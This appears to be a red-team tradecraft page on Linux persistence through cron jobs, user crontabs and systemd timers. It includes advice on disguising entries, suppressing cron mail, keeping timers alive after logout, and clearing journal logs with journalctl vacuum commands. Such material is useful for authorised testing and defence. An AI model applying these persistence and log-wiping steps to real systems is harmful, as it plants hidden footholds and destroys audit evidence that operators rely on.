Linux Cron and Timer Persistence
Cron jobs and systemd timers are the most reliable persistence mechanisms on Linux. They survive reboots and run without an active user session. They blend in with dozens of legitimate scheduled tasks already present on every system. Root-level cron entries execute regardless of who is logged in.
Options covered on this page:
- System-wide cron:
/etc/crontaband/etc/cron.d/entries running as root - User crontabs: per-user jobs via
crontab -e, no root required - Systemd timers: modern replacement for cron, harder to spot in standard crontab listings
System-wide cron jobs
Entries in /etc/cron* directories and /etc/crontab run as root by default. These require root access to create but persist across reboots and user password changes. The directories /etc/cron.hourly, /etc/cron.daily, /etc/cron.weekly, and /etc/cron.monthly execute any dropped executable at the matching interval. No timing syntax is needed for those. Drop an executable file there, mark it executable, and it runs on schedule. The cron.d directory is more flexible: it accepts full crontab-style entries with custom timing. The crond daemon reloads these files automatically. No restart is needed after adding entries.
Before adding an entry, read existing files in /etc/cron.d/ to understand the naming patterns in use. Match the length and casing of existing filenames. Files starting with a digit or containing a period are skipped by some cron implementations. Confirm by checking the cron version on the target: cron --version or crond --version. Anacron is separate from cron and handles the cron.daily through cron.monthly directories on many distros. If crond is not running but anacron is, the interval directories still fire. Check both with systemctl status cron anacron. On SELinux-enforced systems, a dropped payload must carry the correct file context. An entry that works on Debian may fail silently on RHEL with SELinux enforcing.
Name the file something that blends with existing entries: check /etc/cron.d/ for existing filenames and match the naming pattern. Entries in cron.d must include the username field (between timing and command), unlike user crontabs. Missing the username field causes the entry to be silently ignored. Verify the format carefully before relying on it for persistence.
If the entry fires but the payload does not connect back, check that PATH is set. Cron runs with a minimal environment. Add an absolute PATH declaration at the top of the cron.d file or use absolute paths in the payload script itself. The MAILTO variable controls whether cron emails stdout and stderr to root. Set MAILTO="" in the entry to suppress output that could alert a sysadmin.
User crontabs
User crontabs do not require root and run as the user who created them. Less reliable for root-level persistence, but useful when you only have a low-privilege shell. Use it when you need the session to survive reconnection. The actual crontab file lives at /var/spool/cron/crontabs/$USER on most distros. You can read it directly if you have file access, but editing via crontab -e is safer. The one-liner using crontab -l 2>/dev/null handles the case where the user has no existing crontab. Without it, the pipe fails on missing files. Cron may not be installed on minimal or container-based systems. Check with systemctl status cron or systemctl status crond before relying on it. Entries trigger at most once per minute. The payload does not run immediately after insertion.
On Ubuntu-derived systems, user crons may be blocked by /etc/cron.allow. If that file exists, only listed users can schedule jobs. Check its contents before relying on user crontabs as a persistence method. If the file does not exist, all users not listed in /etc/cron.deny can schedule jobs. Root is never blocked by either file.
Systemd timers
Systemd timers are the modern replacement for cron. They are harder to spot with a simple crontab listing. They also support more trigger types: on boot, on calendar, on network availability, and more. Creating a timer requires two unit files: a service unit and a timer unit. The service unit defines what runs. The timer unit defines when it triggers. Place both in /etc/systemd/system/ for system-wide persistence. After enabling, the timer survives reboots even if the service itself fails. Use OnBootSec for a delay after boot, OnUnitActiveSec for recurring intervals, and OnCalendar for cron-style timing. If the service exits non-zero, the timer still reschedules. Check failure output with journalctl -u sysupdate.service. The output of systemctl list-timers --all shows next activation time, last trigger time, and elapsed time. A timer that has never run shows a dash in the last-trigger column. Non-root users can create timers with systemctl --user, stored in ~/.config/systemd/user/. These persist across reboots if user lingering is enabled.
To enable lingering for a user, run loginctl enable-linger $USER. Without lingering, user timers stop when the user's last session ends. Check the current linger state with loginctl show-user $USER | grep Linger. Use Type=oneshot in the service unit for payloads that exit after running. It avoids systemd marking the unit as failed when the process exits. If the unit file contains a syntax error, systemctl daemon-reload may exit without a clear message on older systems. Verify after every load with systemctl status sysupdate.timer. A status of active (waiting) confirms the timer is armed and scheduled.
Cleaning up
After removing cron entries, check /var/log/cron or journalctl -u cron for log lines. These show whether the payload ran and how often. Logs persist after removal and may be reviewed by defenders. Deleting the cron entry stops future executions but does not erase execution history. After removing systemd units, run systemctl list-timers --all to confirm the timer is gone. The daemon-reload step is required: skipping it leaves the old unit definition cached in memory. Stop any running service explicitly before removing unit files. Leaving it running can produce journal error entries that draw attention.
When cron logging is enabled, each execution appears in /var/log/syslog or /var/log/cron.log depending on the distro. Each log line includes the username, command, and timestamp. These logs rotate weekly by default but may be forwarded to a SIEM in monitored environments. Execution history remains in the logs after the cron entry is deleted. To clear journal entries for a specific unit, use journalctl --rotate followed by journalctl --vacuum-time=1s. This forces a log rotation and removes all but the most recent entries. Clearing host logs is visible and may trigger alerts on monitored systems. Only do it if the engagement rules allow log manipulation.